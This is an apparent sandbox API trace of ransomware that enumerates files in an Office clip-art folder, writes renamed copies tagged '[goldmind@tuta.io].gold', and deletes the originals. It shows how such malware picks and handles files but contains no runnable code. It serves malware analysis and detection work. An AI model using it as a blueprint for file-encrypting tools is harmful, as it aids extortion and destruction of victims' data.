[0103.811] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".docx") returned 5 [0103.811] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0103.811] lstrlenW (lpString=".pdf") returned 4 [0103.811] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".xls") returned 4 [0103.811] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".xlsx") returned 5 [0103.811] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0103.811] lstrlenW (lpString=".ppt") returned 4 [0103.811] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString=".zip") returned 4 [0103.811] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".rar") returned 4 [0103.811] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".bz2") returned 4 [0103.811] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".7z") returned 3 [0103.811] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString=".dbf") returned 4 [0104.032] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0104.032] lstrlenW (lpString=".1cd") returned 4 [0104.032] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0104.032] lstrlenW (lpString=".jpg") returned 4 [0104.032] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.032] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0104.032] lstrlenW (lpString="J0101865.BMP") returned 12 [0104.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.093] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=32184) returned 1 [0104.093] CloseHandle (hObject=0x198) returned 1 [0104.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20 [0104.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.094] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.094] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0104.094] GetLastError () returned 0x0 [0104.094] ReadFile (in: hFile=0x198, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0104.122] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0104.123] ReadFile (in: hFile=0x198, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.123] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.123] SetEndOfFile (hFile=0x3c4) returned 1 [0104.123] CloseHandle (hObject=0x3c4) returned 1 [0104.123] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.123] SetEndOfFile (hFile=0x198) returned 1 [0104.125] CloseHandle (hObject=0x198) returned 1 [0104.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString=".doc") returned 4 [0104.200] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".docx") returned 5 [0104.200] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0104.200] lstrlenW (lpString=".pdf") returned 4 [0104.200] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".xls") returned 4 [0104.200] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".xlsx") returned 5 [0104.200] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0104.200] lstrlenW (lpString=".ppt") returned 4 [0104.200] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString=".zip") returned 4 [0104.200] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".rar") returned 4 [0104.200] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".bz2") returned 4 [0104.200] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".7z") returned 3 [0104.200] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString=".dbf") returned 4 [0104.200] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString=".1cd") returned 4 [0104.200] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString=".jpg") returned 4 [0104.200] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.200] lstrlenW (lpString=".doc") returned 4 [0104.200] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".docx") returned 5 [0104.200] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0104.200] lstrlenW (lpString=".pdf") returned 4 [0104.200] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0104.200] lstrlenW (lpString=".xls") returned 4 [0104.201] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0104.201] lstrlenW (lpString=".xlsx") returned 5 [0104.201] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0104.201] lstrlenW (lpString=".ppt") returned 4 [0104.201] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0104.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.201] lstrlenW (lpString=".zip") returned 4 [0104.201] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0104.201] lstrlenW (lpString=".rar") returned 4 [0104.201] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.201] lstrlenW (lpString=".bz2") returned 4 [0104.201] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.201] lstrlenW (lpString=".7z") returned 3 [0104.201] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.201] lstrlenW (lpString=".dbf") returned 4 [0104.201] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.201] lstrlenW (lpString=".1cd") returned 4 [0104.201] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0104.201] lstrlenW (lpString=".jpg") returned 4 [0104.201] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.201] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.201] lstrlenW (lpString="J0102984.WMF") returned 12 [0104.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0104.203] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17040) returned 1 [0104.203] CloseHandle (hObject=0x3b0) returned 1 [0104.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20 [0104.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0104.203] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.203] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0104.204] GetLastError () returned 0x0 [0104.204] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4290, lpOverlapped=0x0) returned 1 [0104.227] WriteFile (in: hFile=0x230, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x42a0, lpOverlapped=0x0) returned 1 [0104.228] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.228] WriteFile (in: hFile=0x230, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.228] SetEndOfFile (hFile=0x230) returned 1 [0104.228] CloseHandle (hObject=0x230) returned 1 [0104.228] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.228] SetEndOfFile (hFile=0x3b0) returned 1 [0104.230] CloseHandle (hObject=0x3b0) returned 1 [0104.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0104.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.231] lstrlenW (lpString=".doc") returned 4 [0104.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.231] lstrlenW (lpString=".docx") returned 5 [0104.231] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.231] lstrlenW (lpString=".pdf") returned 4 [0104.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.231] lstrlenW (lpString=".xls") returned 4 [0104.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.231] lstrlenW (lpString=".xlsx") returned 5 [0104.231] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.231] lstrlenW (lpString=".ppt") returned 4 [0104.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.231] lstrlenW (lpString=".zip") returned 4 [0104.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.231] lstrlenW (lpString=".rar") returned 4 [0104.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.231] lstrlenW (lpString=".bz2") returned 4 [0104.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.231] lstrlenW (lpString=".7z") returned 3 [0104.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.231] lstrlenW (lpString=".dbf") returned 4 [0104.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString=".1cd") returned 4 [0104.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString=".jpg") returned 4 [0104.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString=".doc") returned 4 [0104.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString=".docx") returned 5 [0104.232] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.232] lstrlenW (lpString=".pdf") returned 4 [0104.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString=".xls") returned 4 [0104.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.232] lstrlenW (lpString=".xlsx") returned 5 [0104.232] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.232] lstrlenW (lpString=".ppt") returned 4 [0104.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString=".zip") returned 4 [0104.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.232] lstrlenW (lpString=".rar") returned 4 [0104.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString=".bz2") returned 4 [0104.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString=".7z") returned 3 [0104.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString=".dbf") returned 4 [0104.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString=".1cd") returned 4 [0104.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0104.232] lstrlenW (lpString=".jpg") returned 4 [0104.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.232] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.232] lstrlenW (lpString="J0103262.WMF") returned 12 [0104.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0104.233] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=12900) returned 1 [0104.233] CloseHandle (hObject=0x3b0) returned 1 [0104.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20 [0104.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0104.234] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.234] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0104.234] GetLastError () returned 0x0 [0104.234] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3264, lpOverlapped=0x0) returned 1 [0104.282] WriteFile (in: hFile=0x230, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3270, lpOverlapped=0x0) returned 1 [0104.283] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.283] WriteFile (in: hFile=0x230, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.283] SetEndOfFile (hFile=0x230) returned 1 [0104.283] CloseHandle (hObject=0x230) returned 1 [0104.283] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.283] SetEndOfFile (hFile=0x3b0) returned 1 [0104.285] CloseHandle (hObject=0x3b0) returned 1 [0104.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.286] lstrlenW (lpString=".doc") returned 4 [0104.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString=".docx") returned 5 [0104.286] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.286] lstrlenW (lpString=".pdf") returned 4 [0104.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString=".xls") returned 4 [0104.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.286] lstrlenW (lpString=".xlsx") returned 5 [0104.286] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.286] lstrlenW (lpString=".ppt") returned 4 [0104.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.286] lstrlenW (lpString=".zip") returned 4 [0104.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.286] lstrlenW (lpString=".rar") returned 4 [0104.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString=".bz2") returned 4 [0104.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString=".7z") returned 3 [0104.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.286] lstrlenW (lpString=".dbf") returned 4 [0104.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.286] lstrlenW (lpString=".1cd") returned 4 [0104.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.286] lstrlenW (lpString=".jpg") returned 4 [0104.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.287] lstrlenW (lpString=".doc") returned 4 [0104.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.287] lstrlenW (lpString=".docx") returned 5 [0104.287] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.287] lstrlenW (lpString=".pdf") returned 4 [0104.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.287] lstrlenW (lpString=".xls") returned 4 [0104.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.287] lstrlenW (lpString=".xlsx") returned 5 [0104.287] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.287] lstrlenW (lpString=".ppt") returned 4 [0104.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 